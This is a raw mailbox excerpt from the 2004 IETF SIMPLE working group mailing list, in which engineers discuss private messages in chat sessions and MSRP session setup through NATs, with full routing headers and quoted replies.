	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 21:03:54 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyLit-0004QZ-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 21:03:00 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLhz-0004Jh-00; Tue, 02 Mar 2004 21:02:03 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyLhx-0006Nb-I1; Tue, 02 Mar 2004 21:02:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyLgy-0005pZ-Kl
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 21:01:00 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA20325
	for <simple@ietf.org>; Tue, 2 Mar 2004 21:00:57 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLgw-0004A2-00
	for simple@ietf.org; Tue, 02 Mar 2004 21:00:58 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyLg0-00041g-00
	for simple@ietf.org; Tue, 02 Mar 2004 21:00:01 -0500
Received: from sj-iport-3-in.cisco.com ([171.71.176.72] helo=sj-iport-3.cisco.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLf4-0003mV-00
	for simple@ietf.org; Tue, 02 Mar 2004 20:59:02 -0500
Received: from sj-core-5.cisco.com (171.71.177.238)
  by sj-iport-3.cisco.com with ESMTP; 02 Mar 2004 18:10:49 +0000
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-5.cisco.com (8.12.10/8.12.6) with ESMTP id i231wTiQ001799;
	Tue, 2 Mar 2004 17:58:30 -0800 (PST)
Received: from cisco.com (tokyo-vpn-user67.cisco.com [10.70.82.67])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AGL89778;
	Tue, 2 Mar 2004 20:58:27 -0500 (EST)
Message-ID: <40453BC2.9020101@cisco.com>
From: Paul Kyzivat <pkyzivat@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: "Rosen, Brian" <Brian.Rosen@marconi.com>
CC: "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>,
        ext Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        Markus.Isomaki@nokia.com, hisham.khartabil@nokia.com,
        Miguel.An.Garcia@nokia.com, "'simple@ietf.org'" <simple@ietf.org>
Subject: Re: [Simple] Chat sessions
References: <313680C9A886D511A06000204840E1CF070B648B@whq-msgusr-02.pit.comms.marconi.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 02 Mar 2004 20:58:26 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

I'm game. Who cares? This is in the overlap area between simple and xcon 
I think. How about lunch tomorrow, after xcon?

	Paul

Rosen, Brian wrote:
> How are we going to resolve this?
> 
> Most of us are here.  Can we get together?
> 
> Brian
> 
> 
>>-----Original Message-----
>>From: Paul Kyzivat [mailto:pkyzivat@cisco.com]
>>Sent: Tuesday, March 02, 2004 6:44 PM
>>To: Niemi Aki (Nokia-M/Espoo)
>>Cc: ext Rosen, Brian; ext Jonathan Rosenberg; 
>>Markus.Isomaki@nokia.com;
>>hisham.khartabil@nokia.com; Miguel.An.Garcia@nokia.com; 
>>simple@ietf.org
>>Subject: Re: [Simple] Chat sessions
>>
>>
>>
>>
>>Niemi Aki (Nokia-M/Espoo) wrote:
>>
>>>>>Of course you can't do private messages with voice. Voice 
>>>>
>>and IM are 
>>
>>>>>inherently different. You can't send private voice 
>>>>
>>packets to another 
>>
>>>>>participant of a conference, simply because there isn't a way to 
>>>>>single out a participant in a conference by directly addressing 
>>>>>packets there. It also makes mixing really complicated, because a 
>>>>>private voice stream might overlap with the rest of the 
>>>>
>>conference. 
>>
>>>>>These don't present a problem for IM; the sender can 
>>>>
>>single out the 
>>
>>>>>recipient using the cpim To header field and the recipient UA can 
>>>>>simply mark a message as private and render it to the 
>>>>
>>same UI as the 
>>
>>>>>rest of the IMs in that conference.
>>>>
>>>>I protest.  There is no logical difference.  There is no protocol
>>>>difference.  In most cases, there is no practical difference.  You
>>>>send media to some address, you get media from some address.  You
>>>>render it.  IM or voice or video is all just media, and its handled
>>>>the same way.  You might have "centralized" or 
>>>
>>"distributed" mixers.
>>
>>>>Most IM systems, as implemented, are centralized mixers.  You send
>>>>all media to the mixer, it sends media to you.  There is nothing
>>>>special with IM.  You need some signaling for a private message.
>>>>You can use the same signaling for a sidebar or a whisper.
>>>
>>>Hmm.. which systems are these? The ones I've used have both private 
>>>messages *and* sidebars.
>>
>>It seems that in principle the difference between sidebars 
>>and private 
>>messages is simply one of UI design. A particular client 
>>could support 
>>one or the other, or both.
>>
>>But you also seem to require that the initiator be able to 
>>choose which 
>>user experience the recipients will have. That turns it into 
>>a protocol 
>>issue. In general I would consider this a bad idea. But it is 
>>largely a 
>>human factors issue, and I don't feel qualified to comment on 
>>it except 
>>from the perspective of personal preference. But it seems that whole 
>>discussion hinges on whether there is a valid requirement for giving 
>>senders that degree of control over recipients.
>>
>>	Paul
>>
> 
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
> 


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  2 21:13:55 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA21031
	for <simple-archive@ietf.org>; Tue, 2 Mar 2004 21:13:55 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLtT-00064t-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 21:13:55 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyLse-0005vv-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 21:13:05 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLre-0005mz-00; Tue, 02 Mar 2004 21:12:02 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyLrc-0008D1-H7; Tue, 02 Mar 2004 21:12:00 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyLqi-00086d-KN
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 21:11:04 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA20871
	for <simple@ietf.org>; Tue, 2 Mar 2004 21:11:01 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLqg-0005ch-00
	for simple@ietf.org; Tue, 02 Mar 2004 21:11:02 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyLpk-0005SR-00
	for simple@ietf.org; Tue, 02 Mar 2004 21:10:05 -0500
Received: from sj-iport-4.cisco.com ([171.68.10.86])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLp8-0005Ho-00
	for simple@ietf.org; Tue, 02 Mar 2004 21:09:26 -0500
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-1.cisco.com (8.12.10/8.12.6) with ESMTP id i2328qF8010164;
	Tue, 2 Mar 2004 18:08:53 -0800 (PST)
Received: from cisco.com (tokyo-vpn-user67.cisco.com [10.70.82.67])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AGL90313;
	Tue, 2 Mar 2004 21:08:50 -0500 (EST)
Message-ID: <40453E31.1000900@cisco.com>
From: Paul Kyzivat <pkyzivat@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Adam Roach <adam@dynamicsoft.com>
CC: "'Cullen Jennings'" <fluffy@cisco.com>,
        Ben Campbell <bcampbell@dynamicsoft.com>,
        Robert Sparks <rsparks@dynamicsoft.com>, Rohan Mahy <rohan@cisco.com>,
        simple@ietf.org
Subject: Re: [Simple] RE: MSRP & Comedia
References: <9ACE0CEE075B494096C86C23878BF85906A357@dyn-tx-exch-001.dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 02 Mar 2004 21:08:49 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

There are a couple of solutions to the bad user experience you outline:

- the UAC can use callerprefs to indicate what media it desires.
   For this to work the UAS would have to evaluate the callerprefs,
   which isn't currently required or expected.

- preconditions could be used to ensure that there is a satisfactory
   agreement on media before alerting. In this particular case it would
   be the UAS that inserts the preconditions as a way of improving the
   user experience at its end. Most any precondition would do, though
   the newly proposed connectivity precondition would be quite
   appropriate. A hypothetical new precondition relating to negotiation
   of some acceptable (set of) media stream(s) might also be interesting.

Paul

Adam Roach wrote:
> Okay, so, the user experience you're promoting
> here would lead to a situation in which you open
> up your IM client, type in a message for me,
> and my desktop hard phone starts ringing. Several
> seconds later, I pick up the receiver, my hardphone
> sends a "200 OK" response, and... well, nothing
> good can come of any result at this point.
> 
> If your client supports audio, my voice is suddenly
> coming out of your PC speakers. If not, the call
> is torn down, your client renders an error to you,
> sends me a bye, and I'm sitting there holding a dead
> handset.
> 
> This is the problem that I've pointed out occasionally
> for several years: this "send an INVITE with no body"
> approach for setting up sessions causes all kinds
> of problems. It was originally added for interwork
> with the prehistoric H.323v1 procedures, and not killed
> because we observed that it can be used in this clever
> 3pcc hack -- but it invariably leads to a message that
> semantically means the same thing as the dialog
> box that I sent earlier.
> 
> /a
> 
> 
>>-----Original Message-----
>>From: Cullen Jennings [mailto:fluffy@cisco.com]
>>Sent: Monday, March 01, 2004 8:38
>>To: Adam Roach; Ben Campbell; Robert Sparks; Rohan Mahy
>>Cc: simple@ietf.org
>>Subject: Re: [Simple] RE: MSRP & Comedia
>>
>>
>>
>>It just sends an offer with all three and then the other ends 
>>selects. This
>>is how SIP is today - you can send an invite with no offer 
>>then get the
>>offer in the response and put the answer in the ack.
>>
>>On 3/1/04 10:41 AM, "Adam Roach" <adam@dynamicsoft.com> wrote:
>>
>>
>>>From a protocol perspective, this sounds reasonable.
>>>
>>>I think the key problem is that the first example shifts the
>>>decision of what type of communication is requested
>>>from the caller to the callee. Without getting into a discussion
>>>of whether that is the "right" thing to do, it certainly is
>>>going to differ from user expectations.
>>>
>>>+----------------------------------------------+
>>>| Cullen Jennings <sip:fluffy@cisco.com> wants |
>>>| to start a conversation, but I have no idea  |
>>>| what kind. Take your best guess:             |
>>>|                                              |
>>>|    +-------+  +-----------------+  +----+    |
>>>|    | Voice |  | Voice and video |  | IM |    |
>>>|    +-------+  +-----------------+  +----+    |
>>>+----------------------------------------------+
>>>
>>>/a
>>>
>>>
>>>>-----Original Message-----
>>>>From: Cullen Jennings [mailto:fluffy@cisco.com]
>>>>Sent: Friday, February 27, 2004 0:50
>>>>To: Ben Campbell; Robert Sparks; Rohan Mahy; Adam Roach
>>>>Cc: simple@ietf.org
>>>>Subject: MSRP & Comedia
>>>>
>>>>
>>>>
>>>>This is a half baked idea that I am just tossing out as food
>>>>for thought
>>>>
>>>>Consider a systems where something like the UA that sends the
>>>>answer sends
>>>>the VISIT. 
>>>>
>>>>Consider the cases where A want to set up a MSRP session with B.
>>>>
>>>>A is behind a NAT and does not want to use a relay. A sends
>>>>an INVITE with
>>>>no offer. B sends an offer, gets back an answer and A 
>>>
>>sends the VISIT.
>>
>>>>A -> inv    -> B
>>>>A <- offer  <- B
>>>>A -> answer -> B
>>>>A -> visit  -> B
>>>>
>>>>B is behind a NAT. A sends an offer and B sends an answer and
>>>>A sends VISIT.
>>>>A -> offer  -> B
>>>>A <- answer <- B
>>>>A <- visit  <- B
>>>>
>>>>A and B are behind NATS. A sends INVITE no offer, B knows
>>>>relay is needed
>>>>and gets one and sends offer.
>>>>
>>>>The underlying principal is basically if you don't know what
>>>>port you are
>>>>going to receive media at (which is the case with a NAT) you
>>>>should not be
>>>>making any offers and if you make an offer the assumption is
>>>>that the other
>>>>side and send media (a VISIT) to that and have it work.
>>>>
>>>>The fundamental thing I am trying to avoid is two vendors
>>>>both saying they
>>>>have MSRP compliant systems yet still having them fail to be
>>>>able to talk to
>>>>each other because they both expect the other one to host.
>>>>
>>>
>>>_______________________________________________
>>>Simple mailing list
>>>Simple@ietf.org
>>>https://www1.ietf.org/mailman/listinfo/simple
>>>
>>
>>
>>_______________________________________________
>>Simple mailing list
>>Simple@ietf.org
>>https://www1.ietf.org/mailman/listinfo/simple
>>
> 
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
> 


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  2 21:14:26 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA21064
	for <simple-archive@odin.ietf.org>; Tue, 2 Mar 2004 21:14:26 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyLtX-000090-6o
	for simple-archive@odin.ietf.org; Tue, 02 Mar 2004 21:13:59 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i232Dxdf000548
	for simple-archive@odin.ietf.org; Tue, 2 Mar 2004 21:13:59 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyLtX-00008l-2Y
	for simple-web-archive@optimus.ietf.org; Tue, 02 Mar 2004 21:13:59 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA21047
	for <simple-web-archive@ietf.org>; Tue, 2 Mar 2004 21:13:56 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLtU-00064z-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 21:13:56 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyLsf-0005w2-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 21:13:06 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLre-0005mz-00; Tue, 02 Mar 2004 21:12:02 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyLrc-0008D1-H7; Tue, 02 Mar 2004 21:12:00 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyLqi-00086d-KN
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 21:11:04 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA20871
	for <simple@ietf.org>; Tue, 2 Mar 2004 21:11:01 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLqg-0005ch-00
	for simple@ietf.org; Tue, 02 Mar 2004 21:11:02 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyLpk-0005SR-00
	for simple@ietf.org; Tue, 02 Mar 2004 21:10:05 -0500
Received: from sj-iport-4.cisco.com ([171.68.10.86])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLp8-0005Ho-00
	for simple@ietf.org; Tue, 02 Mar 2004 21:09:26 -0500
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-1.cisco.com (8.12.10/8.12.6) with ESMTP id i2328qF8010164;
	Tue, 2 Mar 2004 18:08:53 -0800 (PST)
Received: from cisco.com (tokyo-vpn-user67.cisco.com [10.70.82.67])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AGL90313;
	Tue, 2 Mar 2004 21:08:50 -0500 (EST)
Message-ID: <40453E31.1000900@cisco.com>
From: Paul Kyzivat <pkyzivat@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Adam Roach <adam@dynamicsoft.com>
CC: "'Cullen Jennings'" <fluffy@cisco.com>,
        Ben Campbell <bcampbell@dynamicsoft.com>,
        Robert Sparks <rsparks@dynamicsoft.com>, Rohan Mahy <rohan@cisco.com>,
        simple@ietf.org
Subject: Re: [Simple] RE: MSRP & Comedia
References: <9ACE0CEE075B494096C86C23878BF85906A357@dyn-tx-exch-001.dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 02 Mar 2004 21:08:49 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

There are a couple of solutions to the bad user experience you outline:

- the UAC can use callerprefs to indicate what media it desires.
   For this to work the UAS would have to evaluate the callerprefs,
   which isn't currently required or expected.

- preconditions could be used to ensure that there is a satisfactory
   agreement on media before alerting. In this particular case it would
   be the UAS that inserts the preconditions as a way of improving the
   user experience at its end. Most any precondition would do, though
   the newly proposed connectivity precondition would be quite
   appropriate. A hypothetical new precondition relating to negotiation
   of some acceptable (set of) media stream(s) might also be interesting.

Paul

Adam Roach wrote:
> Okay, so, the user experience you're promoting
> here would lead to a situation in which you open
> up your IM client, type in a message for me,
> and my desktop hard phone starts ringing. Several
> seconds later, I pick up the receiver, my hardphone
> sends a "200 OK" response, and... well, nothing
> good can come of any result at this point.
> 
> If your client supports audio, my voice is suddenly
> coming out of your PC speakers. If not, the call
> is torn down, your client renders an error to you,
> sends me a bye, and I'm sitting there holding a dead
> handset.
> 
> This is the problem that I've pointed out occasionally
> for several years: this "send an INVITE with no body"
> approach for setting up sessions causes all kinds
> of problems. It was originally added for interwork
> with the prehistoric H.323v1 procedures, and not killed
> because we observed that it can be used in this clever
> 3pcc hack -- but it invariably leads to a message that
> semantically means the same thing as the dialog
> box that I sent earlier.
> 
> /a
> 
> 
>>-----Original Message-----
>>From: Cullen Jennings [mailto:fluffy@cisco.com]
>>Sent: Monday, March 01, 2004 8:38
>>To: Adam Roach; Ben Campbell; Robert Sparks; Rohan Mahy
>>Cc: simple@ietf.org
>>Subject: Re: [Simple] RE: MSRP & Comedia
>>
>>
>>
>>It just sends an offer with all three and then the other ends 
>>selects. This
>>is how SIP is today - you can send an invite with no offer 
>>then get the
>>offer in the response and put the answer in the ack.
>>
>>On 3/1/04 10:41 AM, "Adam Roach" <adam@dynamicsoft.com> wrote:
>>
>>
>>>From a protocol perspective, this sounds reasonable.
>>>
>>>I think the key problem is that the first example shifts the
>>>decision of what type of communication is requested
>>>from the caller to the callee. Without getting into a discussion
>>>of whether that is the "right" thing to do, it certainly is
>>>going to differ from user expectations.
>>>
>>>+----------------------------------------------+
>>>| Cullen Jennings <sip:fluffy@cisco.com> wants |
>>>| to start a conversation, but I have no idea  |
>>>| what kind. Take your best guess:             |
>>>|                                              |
>>>|    +-------+  +-----------------+  +----+    |
>>>|    | Voice |  | Voice and video |  | IM |    |
>>>|    +-------+  +-----------------+  +----+    |
>>>+----------------------------------------------+
>>>
>>>/a
>>>
>>>
>>>>-----Original Message-----
>>>>From: Cullen Jennings [mailto:fluffy@cisco.com]
>>>>Sent: Friday, February 27, 2004 0:50
>>>>To: Ben Campbell; Robert Sparks; Rohan Mahy; Adam Roach
>>>>Cc: simple@ietf.org
>>>>Subject: MSRP & Comedia
>>>>
>>>>
>>>>
>>>>This is a half baked idea that I am just tossing out as food
>>>>for thought
>>>>
>>>>Consider a systems where something like the UA that sends the
>>>>answer sends
>>>>the VISIT. 
>>>>
>>>>Consider the cases where A want to set up a MSRP session with B.
>>>>
>>>>A is behind a NAT and does not want to use a relay. A sends
>>>>an INVITE with
>>>>no offer. B sends an offer, gets back an answer and A 
>>>
>>sends the VISIT.
>>
>>>>A -> inv    -> B
>>>>A <- offer  <- B
>>>>A -> answer -> B
>>>>A -> visit  -> B
>>>>
>>>>B is behind a NAT. A sends an offer and B sends an answer and
>>>>A sends VISIT.
>>>>A -> offer  -> B
>>>>A <- answer <- B
>>>>A <- visit  <- B
>>>>
>>>>A and B are behind NATS. A sends INVITE no offer, B knows
>>>>relay is needed
>>>>and gets one and sends offer.
>>>>
>>>>The underlying principal is basically if you don't know what
>>>>port you are
>>>>going to receive media at (which is the case with a NAT) you
>>>>should not be
>>>>making any offers and if you make an offer the assumption is
>>>>that the other
>>>>side and send media (a VISIT) to that and have it work.
>>>>
>>>>The fundamental thing I am trying to avoid is two vendors
>>>>both saying they
>>>>have MSRP compliant systems yet still having them fail to be
>>>>able to talk to
>>>>each other because they both expect the other one to host.
>>>>
>>>
>>>_______________________________________________
>>>Simple mailing list
>>>Simple@ietf.org
>>>https://www1.ietf.org/mailman/listinfo/simple
>>>
>>
>>
>>_______________________________________________
>>Simple mailing list
>>Simple@ietf.org
>>https://www1.ietf.org/mailman/listinfo/simple
>>
> 
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
> 


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  2 21:16:53 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA21273
	for <simple-archive@ietf.org>; Tue, 2 Mar 2004 21:16:53 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLwM-0006b0-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 21:16:54 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyLvR-0006Qv-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 21:15:58 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLua-0006GJ-00; Tue, 02 Mar 2004 21:15:04 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyLuZ-0000Aa-CL; Tue, 02 Mar 2004 21:15:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyLth-00009c-JK
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 21:14:09 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA21062
	for <simple@ietf.org>; Tue, 2 Mar 2004 21:14:06 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLtf-00066c-00
	for simple@ietf.org; Tue, 02 Mar 2004 21:14:07 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyLst-0005yD-00
	for simple@ietf.org; Tue, 02 Mar 2004 21:13:20 -0500
Received: from mgw-x4.nokia.com ([131.228.20.27])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLsM-0005p6-00
	for simple@ietf.org; Tue, 02 Mar 2004 21:12:46 -0500
Received: from esdks004.ntc.nokia.com (esdks004.ntc.nokia.com [172.21.138.159])
	by mgw-x4.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i232CbC18211;
	Wed, 3 Mar 2004 04:12:38 +0200 (EET)
X-Scanned: Wed, 3 Mar 2004 04:12:12 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks004.ntc.nokia.com (8.12.9/8.12.9) id i232CCUe004166;
	Wed, 3 Mar 2004 04:12:12 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks004.ntc.nokia.com 00K8fXOt; Wed, 03 Mar 2004 04:12:10 EET
Received: from esebh002.NOE.Nokia.com (esebh002.ntc.nokia.com [172.21.138.77])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i232CA712806;
	Wed, 3 Mar 2004 04:12:10 +0200 (EET)
Received: from nokia.com ([10.162.253.24]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Wed, 3 Mar 2004 04:12:09 +0200
Message-ID: <40453EF7.8020701@nokia.com>
From: "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>
User-Agent: Mozilla Thunderbird 0.5 (X11/20040208)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: ext Paul Kyzivat <pkyzivat@cisco.com>
CC: "Rosen, Brian" <Brian.Rosen@marconi.com>,
        ext Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        Markus.Isomaki@nokia.com, hisham.khartabil@nokia.com,
        Miguel.An.Garcia@nokia.com, "'simple@ietf.org'" <simple@ietf.org>
Subject: Re: [Simple] Chat sessions
References: <313680C9A886D511A06000204840E1CF070B648B@whq-msgusr-02.pit.comms.marconi.com> <40453BC2.9020101@cisco.com>
In-Reply-To: <40453BC2.9020101@cisco.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-OriginalArrivalTime: 03 Mar 2004 02:12:09.0785 (UTC) FILETIME=[EF13AA90:01C400C4]
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 03 Mar 2004 04:12:07 +0200
